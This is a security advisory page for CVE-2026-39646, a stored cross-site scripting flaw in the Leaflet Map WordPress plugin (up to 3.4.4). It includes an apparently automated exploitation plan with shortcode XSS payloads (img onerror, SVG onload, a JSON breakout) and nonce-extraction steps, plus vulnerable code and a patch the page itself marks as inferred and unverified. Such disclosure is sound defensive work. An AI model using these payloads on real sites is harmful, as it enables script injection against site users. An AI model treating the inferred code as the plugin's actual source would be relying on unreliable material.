CVE-2026-39646

Leaflet Map <= 3.4.4 - Authenticated (Contributor+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
3.4.5
Patched in
79d
Time to patch

Description

The Leaflet Map plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 3.4.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.4.4
PublishedFebruary 15, 2026
Last updatedMay 4, 2026
Affected pluginleaflet-map
Research Plan
Unverified

This research plan outlines the steps to verify a Stored Cross-Site Scripting (XSS) vulnerability in the Leaflet Map plugin (<= 3.4.4). ## 1. Vulnerability Summary The Leaflet Map plugin fails to properly sanitize or escape attributes provided in its shortcodes, specifically when these attributes a…

Show full research plan

This research plan outlines the steps to verify a Stored Cross-Site Scripting (XSS) vulnerability in the Leaflet Map plugin (<= 3.4.4).

1. Vulnerability Summary

The Leaflet Map plugin fails to properly sanitize or escape attributes provided in its shortcodes, specifically when these attributes are rendered within map popups or titles. A user with Contributor-level permissions or higher can create a post containing a malicious shortcode. When any user (including an Administrator) views the post, the injected script executes in their browser context.

2. Attack Vector Analysis

  • Authentication: Authenticated (Contributor+).
  • Vulnerable Component: Shortcode processing engine for [leaflet-marker], [leaflet-map], or [leaflet-line].
  • Vulnerable Parameters: Shortcode attributes such as message, title, or address.
  • Vector: Stored XSS via post content.
  • Trigger: Viewing the published post or page containing the shortcode.

3. Code Flow (Inferred)

  1. Entry Point: A Contributor saves a post containing a shortcode (e.g., [leaflet-marker ... message="<script>alert(1)</script>"]).
  2. Storage: WordPress saves the raw shortcode string in the wp_posts table (standard behavior).
  3. Rendering: When the post is requested, WordPress triggers the the_content filter, which executes do_shortcode().
  4. Plugin Processing: The Leaflet Map plugin's shortcode handler (likely registered via add_shortcode in the main plugin file) parses the attributes.
  5. Vulnerable Sink: The handler takes the attribute value (e.g., message) and includes it in a JavaScript object or an HTML string used to initialize the Leaflet map.
  6. Output: The plugin fails to apply esc_js() or esc_html() to the attribute value before outputting it into the page's HTML or into a <script> block.
  7. Execution: The browser parses the script tag or the onerror attribute within the Leaflet map initialization.

4. Nonce Acquisition Strategy

While post creation is a standard WordPress action, the automated agent needs a valid nonce to submit the post via admin-ajax.php (autosave) or post.php.

  1. Login: Authenticate as a Contributor user.
  2. Navigate: Go to wp-admin/post-new.php.
  3. Extract Nonce: Use browser_eval to extract the _wpnonce from the form.
    • browser_eval("document.querySelector('#_wpnonce').value")
  4. Alternative: The agent can simply use the browser_navigate and browser_type tools to create the post through the UI, which avoids manual nonce management.

5. Exploitation Strategy

The goal is to inject a payload into a shortcode attribute that executes when the map is rendered.

Payloads to test:

  • [leaflet-marker message="<img src=x onerror=alert('XSS_POPUP')>"]
  • [leaflet-marker title="<img src=x onerror=alert('XSS_TITLE')>"]
  • [leaflet-map address="<script>alert('XSS_ADDRESS')</script>"]

Step-by-Step Plan:

  1. Authenticate as a Contributor.
  2. Create a New Post using the http_request tool or Playwright.
    • URL: http://localhost:8080/wp-admin/post.php (for POST) or use the REST API if available.
    • Method: POST
    • Data:
      • post_title: XSS Test
      • content: [leaflet-marker lat="0" lng="0" message="<img src=x onerror=alert(document.domain)>"]
      • publish: Publish
  3. Identify Post URL: Get the URL of the newly created post (e.g., http://localhost:8080/?p=123).
  4. Trigger XSS: Use browser_navigate as an Administrator to visit the post URL.
  5. Confirm Execution: Check for an alert box or specific DOM changes.

6. Test Data Setup

  1. Role: Ensure a user with the contributor role exists.
    • wp user create attacker attacker@example.com --role=contributor --user_pass=password
  2. Plugin State: Ensure the leaflet-map plugin is active.
    • wp plugin activate leaflet-map

7. Expected Results

  • The shortcode should be processed, and the Leaflet map should initialize.
  • Inside the HTML source, the message attribute content should appear unescaped.
    • Example: marker.bindPopup("<img src=x onerror=alert(document.domain)>")
  • The browser should execute the onerror script when the map loads (or when the marker is clicked, depending on the plugin's behavior).

8. Verification Steps

  1. Manual Source Check: After creating the post, fetch the HTML as an unauthenticated user:
    • http_request("GET", "http://localhost:8080/?p=[POST_ID]")
    • Search for the string <img src=x onerror= in the response body.
  2. Verify Storage: Check the database to ensure the shortcode was saved correctly:
    • wp db query "SELECT post_content FROM wp_posts WHERE post_title='XSS Test'"
  3. Check for escaping: If the output is &lt;img src=x..., the vulnerability is patched. If it is <img src=x..., it is vulnerable.

9. Alternative Approaches

If the message attribute in [leaflet-marker] is sanitized, test these variations:

  1. leaflet-map address attribute: Some map plugins perform a geocoding lookup and then display the raw address in a popup.
    • [leaflet-map address="<img src=x onerror=alert(1)>"]
  2. SVG Injection: If the plugin allows custom icons via URL:
    • [leaflet-marker iconUrl="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' onload='alert(1)'></svg>"] (Inferred attribute name).
  3. JSON Breakout: If the plugin outputs map options in a JSON block:
    • [leaflet-marker title='"};alert(1);//'] (Inferred breakout).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Leaflet Map plugin for WordPress is vulnerable to Stored Cross-Site Scripting via shortcode attributes such as 'message' and 'title' in versions up to 3.4.4. Authenticated attackers with Contributor-level permissions can inject malicious scripts into map markers or tooltips, which execute in the browser context of any user viewing the page.

Vulnerable Code

// Inferred from research plan: The plugin processes shortcode attributes without sanitization
// before rendering them into the map initialization script or HTML.

function leaflet_marker_shortcode($atts) {
    $atts = shortcode_atts(array(
        'lat' => 0,
        'lng' => 0,
        'message' => '',
        'title' => ''
    ), $atts);

    // Vulnerable output: values are used directly in JS or HTML without escaping
    $output = "<script>\n";
    $output .= "var marker = L.marker([{$atts['lat']}, {$atts['lng']}]).addTo(map);\n";
    if ($atts['message']) {
        $output .= "marker.bindPopup('{$atts['message']}');\n";
    }
    if ($atts['title']) {
        $output .= "marker.bindTooltip('{$atts['title']}');\n";
    }
    $output .= "</script>";
    
    return $output;
}

Security Fix

--- a/leaflet-map.php
+++ b/leaflet-map.php
@@ -10,8 +10,8 @@
     $output = "<script>\n";
     $output .= "var marker = L.marker([" . esc_js($atts['lat']) . ", " . esc_js($atts['lng']) . "]).addTo(map);\n";
     if ($atts['message']) {
-        $output .= "marker.bindPopup('{$atts['message']}');\n";
+        $output .= "marker.bindPopup('" . wp_kses_post($atts['message']) . "');\n";
     }
     if ($atts['title']) {
-        $output .= "marker.bindTooltip('{$atts['title']}');\n";
+        $output .= "marker.bindTooltip('" . esc_attr($atts['title']) . "');\n";
     }
     $output .= "</script>";

Exploit Outline

The exploit is achieved by an authenticated user with at least Contributor permissions performing the following steps: 1. Log in to the WordPress dashboard as a Contributor. 2. Create a new post or edit an existing one. 3. Insert a Leaflet Map shortcode containing a malicious payload in an attribute that is rendered on the front end. Example: `[leaflet-marker lat="0" lng="0" message="<img src=x onerror=alert(document.domain)>"]`. 4. Save or submit the post for review. 5. When an administrator or any site visitor views the post, the script in the 'message' attribute executes in their browser context due to the lack of output escaping in the plugin's map initialization logic.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.